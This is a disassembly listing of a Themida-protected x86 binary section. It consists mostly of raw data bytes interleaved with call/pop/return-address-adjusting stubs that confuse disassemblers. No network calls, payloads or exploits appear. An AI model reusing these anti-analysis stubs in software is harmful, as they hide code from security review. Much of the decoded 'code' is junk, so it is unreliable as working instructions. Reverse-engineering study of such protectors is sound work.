xor [ebp+60B0AD1h], edx
popa
nop
push 0
push ebp
call sub_57BE6B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BE6B proc near ; CODE XREF: Themida_:0057BE63p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_57BE6B endp
; ---------------------------------------------------------------------------
pop esi
sub al, 0BBh
mov [ebp+60B0425h], ecx
mov [ebp+60B152Dh], esi
push 0
push ebx
call sub_57BE95
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BE95 proc near ; CODE XREF: Themida_:0057BE8Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_57BE95 endp
; ---------------------------------------------------------------------------
db 0DCh, 9Eh, 79h
dd 0ED7AF27Fh, 6A1197FFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 1424C355h, 7D8D01B7h
dd 89060B07h, 0B31B5BDh, 0F6BF0F06h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0D7C35141h, 7A51BE60h, 858B5BAFh
dd 60B2349h, 12958D89h, 0F561060Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0CC35545h, 598D89ABh, 29060B2Eh
dd 0B2A75B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 0DA8BED8Eh, 0B1BD8BD7h, 51060B08h
dd 2AB5B58Bh, 0FE9060Bh, 93000000h, 0EB04BEEDh, 6A1759F5h
dd 0E2B756B6h, 0E95ED7A8h, 0FFFFF864h, 2414EF81h, 0C18B2C6Fh
dd 0F3DB589h, 4EB060Bh, 0
; ---------------------------------------------------------------------------
mov edi, edx
push 0
push ebp
call sub_57BF9D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BF9D proc near ; CODE XREF: Themida_:0057BF95p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_57BF9D endp
; ---------------------------------------------------------------------------
db 65h, 0B5h, 4Bh
dd 0EBFBF09Ah, 8E91F72h, 0DB000000h, 7F642D43h, 8D0EAAF7h
dd 0B28A985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 5AEC6B8h, 2EFDBD31h, 0E950060Bh
dd 12h, 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 48995C3h
dd 1D958924h, 8B060B18h, 6A006AF8h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B1BC356h
dd 0EE8h, 0AA698800h, 9F508C00h, 0CCE34AF7h, 5E97554Ch
dd 0B9F3D9BFh, 8D006A15h, 0F00D685h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B5E88862h
dd 2BD531D0h, 1CBF6649h, 5C0832Eh, 85F3BF66h, 24048950h
dd 0B870Fh, 0BE600000h, 613EA69Bh, 0D0DABA66h, 0F006A61h
dd 688h, 71F78100h, 6A464DCAh, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 8BD7BA37h
dd 8B60FFE4h, 0B01959Dh, 5D952B06h, 61060B27h, 2F2195FFh
dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0EF2E51C3h, 8180CA04h, 0C56CCBC7h, 0D5BD8B44h
dd 8D060B0Bh, 0EA7B09Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0B52B1AAEh, 60B0B25h
dd 0D3FFFA8Bh, 8FC0BE66h, 0DE9h, 86951D00h, 5E3B1B99h
dd 0D10B49E7h, 85FF865Ch, 60B066Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0A2C35141h, 0A9F9D11Eh, 0F3A3E6C2h
dd 20B9BD8Bh, 0E6E9060Bh, 0E8000008h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 60F00E0h
push 0
push eax
call sub_57C196
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C196 proc near ; CODE XREF: Themida_:0057C18Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_57C196 endp
; ---------------------------------------------------------------------------
dw 524Bh
dd 13A7176Ch, 293DB58Bh, 0BD81060Bh, 60B3385h, 7D0h, 185860Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 8B104BC3h, 0B0719B5h, 6D9D8B06h, 6A060B2Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 41B8C355h, 80E852Bh, 0F874395h, 8Eh, 37D4BE00h
dd 0E3815316h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 1CC35040h, 850FDB0Bh, 94h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 67C35747h, 7FF68145h
dd 0BE4BC1EAh, 4E0B731Ah, 0FEE8BD83h, 0F00060Eh, 2A84h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 3AF8680Eh, 830Fh, 67E90000h, 0C7000000h
dd 0EFEE885h, 106h, 0EE800h, 0EC7B0000h, 375C3058h, 0A186EDCBh
dd 13ED4646h, 68E0Fh, 0B5890000h, 60B08C9h, 38E95Fh, 0BD0B0000h
dd 60B0DC9h, 0FEE885C7h, 60Eh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 1B3EDBC3h
dd 0F78BA846h, 645B50Bh, 9D8D060Bh, 60B2A6Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EBC35242h, 0E4A752DCh
dd 0BB256D5Bh, 55B589A1h, 81060B03h, 0FFFEFF23h, 61BD89FFh
dd 66060B16h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 14E981C3h, 96000000h, 59865575h
dd 0C3E4CF82h, 7D7CB9B5h, 46B5AEF6h, 8BE73112h, 0B069DB5h
dd 4C3F606h, 37840Fh, 85010000h, 60B0051h, 18ED95FFh, 8166060Bh
dd 0BFF022DFh, 5C0F2AD0h, 9474BF50h, 48940D7h, 81B58B24h
dd 0E9060B2Eh, 0Dh, 6B2246C5h, 0DFD34495h, 4DA9BA09h, 4B4E9AFh
dd 8B0F0000h, 1Ch, 11E8h, 816B1E00h, 0C1D2703Dh, 0A7A7EB4Eh
dd 6BC24C23h, 8166D9F5h, 5EF9D5EEh, 953100B0h, 60B080Dh
dd 71E470E6h, 7E9h, 1E42FF00h, 0A3DB8371h, 89D8B60Fh, 0B087D9Dh
dd 6BA06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 66D143C3h, 351CDF81h, 870FC38Bh
dd 6, 12CD8D89h, 0E8C1060Bh, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0CC391406h
dd 0D485A922h, 7DBD333Bh, 60060B28h, 12E9h, 2299CF00h
dd 0FF3692F4h, 0EE603FA6h, 61BD4696h, 0FAD506Ah, 68Bh
dd 699D8900h, 61060B10h, 6AE2F766h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9D38C352h
dd 0F8B70FC6h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 6554B1C3h, 32A19D89h, 5093060Bh
dd 0BACE8B60h, 34EA81EFh, 6A9361h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0BD8B5FC3h, 60B1161h
dd 0DE99D29h, 0B5FF060Bh, 60B3385h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 95C35141h, 0EA052693h, 32DD95FFh
dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0EDA838C3h, 0E8687135h, 0Dh, 0D2619536h
dd 0D1A3CC68h, 7D604404h, 0F6D681F2h, 5E321C75h, 11E8h
dd 0CCD29D00h, 0E70619ADh, 7B690B21h, 0EDE2DA4Ch, 0ACBF5237h
dd 5E059B3Ch, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0DE17EDC3h, 6CDD3F79h, 95EF8166h
dd 0FC70E66Fh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0EEF49EC3h, 99239E2h, 0F613C97h
dd 29183h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0DDBD33C3h, 29060B06h, 0B0FFD9Dh
dd 0D8B60F06h, 0B19D8960h, 0B8060B28h, 0DDEDDFAh, 0BF0F5661h
dd 6BA5EF2h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 70AEC352h, 86F894FDh
dd 63FDCC6h, 0CE8h, 0A4605500h, 0E8C68A9Bh, 411F2133h
dd 0BD895F40h, 60B1FC9h, 9589C38Bh, 60B0699h, 6604E8C1h
dd 0A650F781h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 41C6C357h, 0D82BE929h
dd 311DB58Bh, 6A58060Bh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 58F4C357h, 67DABB28h
dd 95B52354h, 2B060B02h, 0A7880FD8h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0DF43C356h, 0EE8E7539h, 0A6460114h, 21BD8960h, 61060B10h
dd 7B9F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 663FC6C3h, 662579BFh, 0C183FA8Bh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 6B2DA878h, 0FEFAFEEh, 380h, 0F3BF0F00h
dd 860FD93Bh, 11Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0BAC35343h, 295E258Eh, 8C665F57h, 53006AD9h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 983655A5h, 0C1F68165h, 0C9840F04h, 0E8000000h, 8, 24BE0DC1h
dd 0F2C2FDBEh, 1785B529h, 0FF5F060Bh, 0B18ED95h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 998E266Ah, 5C92AA93h, 0F5BE199h, 488h, 0BBE6600h, 81C32B22h
dd 91AF19DEh, 8343D67h, 860F0000h, 6Ch, 0EE9h, 0BE0C1800h
dd 0C3958815h, 64D7BDF4h, 0E9C4F2D9h, 56h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CBC35343h, 12E8D1h
dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh
dd 11E860h, 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh
dd 5AA6B6FAh, 0B58B5F61h, 60B2051h, 0C38BC08Bh, 5F51D88Bh
dd 13E985C7h, 7799060Bh, 8BFC3BB8h, 85BD81C0h, 0D0060B33h
dd 0F000007h, 8285h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 850FC79Dh, 4, 22C7BE66h
dd 338585FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 4F1B4DC3h, 0D8D3F29h, 89821A32h
dd 0B0211B5h, 0BE806h, 949D0000h, 22F9C858h, 0D5587794h
dd 0DE83Ch, 36490000h, 0CA58B624h, 727EF89Ch, 89E38BB4h
dd 0B29EDB5h, 0FF5E5F06h, 0B3385B5h, 0FFF88B06h, 0B32DD95h
dd 24BE6606h, 8166907Dh, 6A0CEDC6h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5D7CC353h
dd 5720EFCAh, 816632A3h, 8BB3DDCFh, 49BD8BFBh, 66060B0Eh
dd 5D27EE81h, 9176E681h, 6A240Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 51C91AC3h, 0ED852940h
dd 0E9060B28h, 0Fh, 0F449F6DEh, 59D238F3h
dd 6F2262F6h, 6A1D979Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0FECC351h, 3A7ECD8h
dd 0B169DB5h, 0F7F68106h, 6A6359BCh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 516BC350h
dd 2D8D01F2h, 66060B21h, 0CB9F681h, 0E1DE8166h, 7ECF8144h
dd 6A367CC5h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0FF49C357h, 2EBD9D31h, 8166060Bh
dd 0E92F6BC7h, 0FFFFF743h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 4BC35242h, 800F5Eh, 31000000h, 0B027595h
dd 81C18B06h, 139CE9CEh, 4EB78h, 89000000h, 0B333D8Dh
dd 1600BF06h, 6A5744h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0F7E443C3h, 28A9858Dh, 0B58B060Bh
dd 60B13BDh, 8D0F5350h, 5, 0E544F8BFh, 4895F45h, 68D0F24h
dd 89000000h, 0B318595h, 56006A06h, 6A006A5Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 2E1EC352h, 0DF81451Eh, 504B4CFEh, 0B10858Dh, 8D01060Fh
dd 60B2101h, 6A05C083h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 75C0C350h, 60907BDFh
dd 9E952h, 5E400000h, 0F1E4351Eh, 59EA385Bh, 9F9AB952h
dd 61596B56h, 60525050h, 6160F38Bh, 0E9310F61h, 0Fh, 323F68DBh
dd 55524A64h, 0ADF0FC3Dh, 5A8E03B5h, 6A9058h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 6B2F41C3h
dd 0F78B006Ah, 0B589006Ah, 60B17F5h, 6B5BD8Bh, 95FF060Bh
dd 60B2F21h, 9D8DF28Bh, 60EA7B0h, 58B0Fh, 81660000h, 0FFCEF1D7h
dd 0DD9D89D3h, 0FF060B14h, 0B066D85h, 0F2BF0F06h, 71FE9h
dd 0E800h, 815D0000h, 0F0B1AEDh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD8B0B15h
dd 60B0F41h, 3385BD81h, 7D0060Bh, 860F0000h, 0FAh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 6C35141h, 1806B040h
dd 0B5DB52Bh, 9D8B060Bh, 60B2A9Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0F4C35646h, 0E38143ECh, 100h
dd 0BF18B66h, 58850FDBh, 66000000h, 35B7D681h, 9CBBD83h
dd 0F00060Fh, 784h, 4FE9F900h, 0F5000000h, 9CB85C7h, 1060Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 80D3D7C3h, 8960DFAEh, 0B086D85h, 8EBF6606h
dd 13E961E6h, 66000000h, 0C78257BEh, 0F09CB85h, 6, 0EE816600h
dd 9D8D49F5h, 60B2A9Dh, 6800Fh, 0E7810000h, 66169241h
dd 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0A418B1C3h, 8C66F113h, 56006ADBh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0CDB509A8h, 0F6060B13h, 840F04C3h, 40h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CAC35141h, 2A7F61D8h
dd 95FF9E77h, 60B18EDh, 1A85B58Bh, 0EABE060Bh, 506AA55Fh
dd 89F18B66h, 0E6812404h, 2E02884Eh, 362E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 87DD507Ah, 8F293FA5h, 77E68166h, 0BF00B055h, 8E8C9FFh
dd 30E5B58Bh, 70E6060Bh, 0E4F6B70Fh, 7D9D3171h, 0F060B00h
dd 870FD8B6h, 0
; ---------------------------------------------------------------------------
mov edx, 6
mov edi, [ebp+60B0CDDh]
mov eax, ebx
shr eax, 4
xor si, 7820h
mul dx
push 0
push edi
call sub_57CDD3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CDD3 proc near ; CODE XREF: Themida_:0057CDCBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_57CDD3 endp
; ---------------------------------------------------------------------------
dec esi
stosb
movsx ebx, word ptr [edx+0Eh]
daa
sbb [ebx], ebp
fsubr dword ptr [edx+0]
push ebp
call sub_57CDF8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CDF8 proc near ; CODE XREF: Themida_:0057CDF0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_57CDF8 endp
; ---------------------------------------------------------------------------
dd 8B662238h, 525050FAh, 312F52BEh, 60310F02h, 6160DF8Bh
dd 89585A61h, 0BD89241Ch, 60B1141h, 3385B5FFh, 8C0F060Bh
dd 6, 58D8589h, 95FF060Bh, 60B32DDh, 1EB9B529h, 0B0060Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9DC35343h
dd 0E6266B25h, 0E4F08B70h, 52006A71h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F613CABh
dd 23683h, 0F5F5300h, 8166D8B6h, 0BA48F8F6h, 6, 39F78166h
dd 6AC38BD2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0E03FC353h, 99BD8BB1h, 89060B00h
dd 0B3229BDh, 4E8C106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0E2C35343h, 0F9E2F766h, 0B70FD82Bh, 6A58FEh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0B67220C3h, 0C95D75AEh, 0D82B54F2h, 1A1880Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 840F40C3h, 5, 0E52A33BEh, 7B93Ah, 0BD290000h, 60B1A4Dh
dd 0F00C183h, 0C83h, 68A0F00h, 1000000h, 0B23418Dh, 0FD93B06h
dd 15286h, 0D98C6600h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0AEC35545h, 0A1BD0930h, 0F6060B1Ah, 840F04C1h
dd 0F4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 7CC35040h, 78B92931h, 0ED95FF03h, 6A060B18h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0E034C353h, 0F70CFF1Ch, 0F1B70FB1h, 0B9BD895Bh, 2B060B05h
dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 40094577h, 7E9h, 60199F00h, 621142F8h, 5D8D0957h
dd 5F060B18h, 8343DFCh, 860F0000h, 60h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Dh, 0DDC35040h, 0E6E444C8h
dd 9C02C26Dh, 9E9B0h, 64070000h, 8B3E4BC9h, 8BE5161Dh
dd 0B1325B5h, 51E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 953111C3h, 60B0C71h
dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 973563C3h, 8BFF9107h, 0B244DBDh, 0ADB50906h
dd 8B060B2Ah, 8BD88BC3h, 0B0E59BDh, 6D85C706h, 0DF060B2Ah
dd 0BF5FCEABh, 1D3BC0B2h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 8E86F0C3h, 3880F39h
dd 66000000h, 0BD81F28Bh, 60B3385h, 7D0h, 44850Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 85FF0BC3h, 60B3385h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 7EC35343h, 6939EB18h, 0B5FFB969h, 60B3385h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h
dd 830F4434h, 6, 0C91BD8Bh, 95FF060Bh, 60B32DDh, 60F3B70Fh
dd 0F49EC381h, 5E96271h, 0A6000000h, 5BC517AAh, 0BE669061h
dd 0B5896906h, 60B1315h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 6FC35141h, 15EBE437h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 6AC35646h, 3E455A96h
dd 0AFDE55DDh, 56006A9Fh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0B58BCF7Dh, 60B1131h
dd 14E9h, 82511B00h, 5696D17h, 4F0898A3h, 196F503Ch, 52B355D0h
dd 0E880F44h, 51000000h, 20F1BD8Bh, 8A0F060Bh, 0
; ---------------------------------------------------------------------------
pop edi
mov si, dx
push 0
push ebx
call sub_57D257
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D257 proc near ; CODE XREF: Themida_:0057D24Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_57D257 endp
; ---------------------------------------------------------------------------
pusha
xchg eax, esi
push 0
push eax
call sub_57D274
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D274 proc near ; CODE XREF: Themida_:0057D26Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57D274 endp
; ---------------------------------------------------------------------------
jnz short loc_57D2D2
call near ptr loc_57D28D+8
add al, 18h
loc_57D28D: ; CODE XREF: Themida_:0057D286p
sub dword ptr [edi+edx*2+6A39CA8Fh], 0D58D0958h
pop ss
or eax, [esi]
movzx edi, si
pop edi
push 0
push ecx
call sub_57D2AA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D2AA proc near ; CODE XREF: Themida_:0057D2A2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_57D2AA endp
; ---------------------------------------------------------------------------
dw 0C548h
dd 44331D16h, 645BFDE1h, 0E9F8BF0Fh, 0FFFFF8EDh, 1935BD8Bh
; ---------------------------------------------------------------------------
or eax, [esi]
loc_57D2D2: ; CODE XREF: Themida_:0057D284j
mov [ebp+60B2DFDh], ecx
pusha
push 0
push edx
call sub_57D2E4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D2E4 proc near ; CODE XREF: Themida_:0057D2DCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_57D2E4 endp
; ---------------------------------------------------------------------------
dd 37595516h, 0E63A629Eh, 0FFFFFEB9h, 57006AFFh, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0B031C5B5h, 24218D21h, 0E960060Bh, 0Dh, 4D1A3CCh, 0F27D6044h
dd 48722AE0h, 0D7E980E0h, 9D8D2161h, 6A060B1Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 3612C356h, 8166E97Fh, 8B6077DEh, 0B24218Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 1F510EECh, 0E1833BB1h, 22850F01h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 892EC355h, 0B1B3D9Dh, 9D8D8B06h, 6A060B1Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0C072C350h, 8D89603Eh, 60B07FDh, 1F899589h, 6061060Bh
dd 68E0Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
popa
and ecx, 1
jnz loc_57D414
pusha
mov cx, 2457h
add esi, [ebp+60B1AB1h]
popa
mov [ebp+60B2235h], ebx
loc_57D414: ; CODE XREF: Themida_:0057D3FCj
popa
pusha
movsx eax, cx
mov ecx, 0FFFFFFFEh
mov esi, [ebp+60B07A9h]
and [ebp+60B2985h], ecx
jnb loc_57D43E
pusha
mov [ebp+60B18A1h], ecx
sbb ebx, 299DDFC3h
popa
loc_57D43E: ; CODE XREF: Themida_:0057D42Aj
and [ebp+60B00A1h], ecx
sub [ebp+60B18FDh], ebx
mov ecx, [ebp+60B2985h]
push 0
push esi
call sub_57D45B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D45B proc near ; CODE XREF: Themida_:0057D453p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_57D45B endp
; ---------------------------------------------------------------------------
db 6Fh
; ---------------------------------------------------------------------------
loc_57D46C: ; CODE XREF: Themida_:loc_57D46Cj
jns short loc_57D46C
jmp loc_57D487
; ---------------------------------------------------------------------------
db 0Fh
dd 8B2BDFE5h, 2244DEE8h, 4FBA7F71h, 0F388535Eh
; ---------------------------------------------------------------------------
mov ebp, ss
cwde
loc_57D487: ; CODE XREF: Themida_:0057D46Ej
and ecx, 1
jnz loc_57D496
mov eax, [ebp+60B02B9h]
loc_57D496: ; CODE XREF: Themida_:0057D48Aj
mov ecx, [ebp+60B00A1h]
mov esi, 399760A9h
and ecx, 1
jnz loc_57D4D5
push 0
push edi
call sub_57D4B5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D4B5 proc near ; CODE XREF: Themida_:0057D4ADp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_57D4B5 endp
; ---------------------------------------------------------------------------
db 13h, 62h, 1Dh
; ---------------------------------------------------------------------------
cmpsd
mov ecx, 2587E1Eh
dec edx
mov eax, [ebp+60B1889h]
loc_57D4D5: ; CODE XREF: Themida_:0057D4A4j
popa
pusha
push 0
push eax
call sub_57D4E2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D4E2 proc near ; CODE XREF: Themida_:0057D4DAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_57D4E2 endp
; ---------------------------------------------------------------------------
sbb cl, [esi-12h]
aam 4Ah
and al, [edi]
clc
mov ecx, 0FFFFFFFEh
mov [ebp+60B2439h], ebx
and [ebp+60B0869h], ecx
push 0
push eax
call sub_57D516
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D516 proc near ; CODE XREF: Themida_:0057D50Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57D516 endp
; ---------------------------------------------------------------------------
dw 8901h
; ---------------------------------------------------------------------------
and [ebp+60B13E9h], ecx
push 0
push eax
call sub_57D539
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D539 proc near ; CODE XREF: Themida_:0057D531p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_57D539 endp
; ---------------------------------------------------------------------------
db 8Fh, 0B0h, 0BFh
; ---------------------------------------------------------------------------
fdivr dword ptr [ebx+ecx]
mov ecx, [ebp+60B0869h]
clc
and ecx, 1
jnz loc_57D584
push 0
push ebp
call sub_57D56A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D56A proc near ; CODE XREF: Themida_:0057D562p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_57D56A endp
; ---------------------------------------------------------------------------
dw 5D29h
dd 22946FD5h, 40E66161h
; ---------------------------------------------------------------------------
loc_57D584: ; CODE XREF: Themida_:0057D559j
mov ecx, [ebp+60B13E9h]
push 0
push eax
call sub_57D595
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D595 proc near ; CODE XREF: Themida_:0057D58Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
